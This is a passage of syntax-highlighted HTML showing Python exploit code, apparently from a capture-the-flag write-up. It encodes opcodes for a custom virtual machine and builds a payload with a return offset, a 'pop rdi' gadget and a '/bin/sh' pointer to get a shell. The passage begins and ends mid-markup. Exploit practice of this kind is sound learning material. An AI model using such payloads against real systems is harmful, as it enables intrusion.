style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 13</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">op1Idx </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">7</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 3</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">op2Idx </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">7</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p16</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">opcode</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">def</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> opcode_jmp_eq</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">op1Idx, op2Idx, jmp</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">opcode </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 13</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">op1Idx </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">7</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 3</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">op2Idx </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">7</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">jmp </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">7F</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 6</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p16</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">opcode</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">def</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> opcode_halt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">opcode </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">3</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 13</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p16</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">opcode</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">def</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> opcode_load</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">op1Idx, op2Idx, jmp</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">opcode </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">4</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 13</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">op1Idx </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">7</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 3</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">op2Idx </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">7</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">jmp </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">7F</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 6</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p16</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">opcode</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">def</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> opcode_load_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">op1Idx, op2Idx, jmp</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">opcode </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">5</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 13</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">op1Idx </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">7</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 3</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">op2Idx </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">7</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">jmp </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">7F</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 6</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p16</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">opcode</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">def</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> opcode_store</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">op1Idx, op2Idx, jmp</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">opcode </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">6</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 13</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">op1Idx </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">7</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 3</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">op2Idx </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">7</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">jmp </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">7F</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 6</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p16</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">opcode</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">def</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> opcode_store_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">op1Idx, op2Idx, jmp</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">opcode </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">7</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 13</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">op1Idx </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">7</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 3</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">op2Idx </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">7</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">jmp </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">7F</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 6</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p16</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">opcode</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">######################################################################################</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">p </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> connect</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload  </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_jmp_eq</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">7f</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># Registros</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p16</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">7FFF</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p16</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">7ffff7df91ab</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">7ffff7df9083</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># Ret offset</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p16</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">fae7</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                          </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># Pop rdi lo</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p16</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">95bd</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">9083</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                 </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># Binsh lo</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p16</span><span 